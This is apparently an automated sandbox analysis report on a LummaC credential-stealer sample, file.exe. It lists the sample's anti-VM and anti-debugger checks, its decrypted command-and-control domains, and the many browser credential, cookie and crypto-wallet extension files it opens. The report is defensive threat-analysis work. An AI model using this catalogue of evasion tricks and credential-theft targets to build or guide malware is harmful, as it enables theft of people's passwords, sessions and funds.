Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EB1FBC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E9DE3D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F1DF19 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 5892

Thread sleep time: -210000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.1610859821.0000000005E69000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1599577216.00000000006E1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1600768868.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.1600394485.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1600394485.0000000000E80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1302176154.00000000054DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000002.1600394485.0000000000E80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\E[
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000002.1600768868.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}x
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1610859821.0000000005E69000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1599577216.00000000006E1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1302176154.00000000054D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: faintbl0w.sbs
Source: file.exe, 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 300snails.sbs
Source: file.exe, 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xc1aimbl0w.sbs
Source: file.exe, 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thicktoys.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.1610859821.0000000005E69000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1599577216.00000000006E1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 2608, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
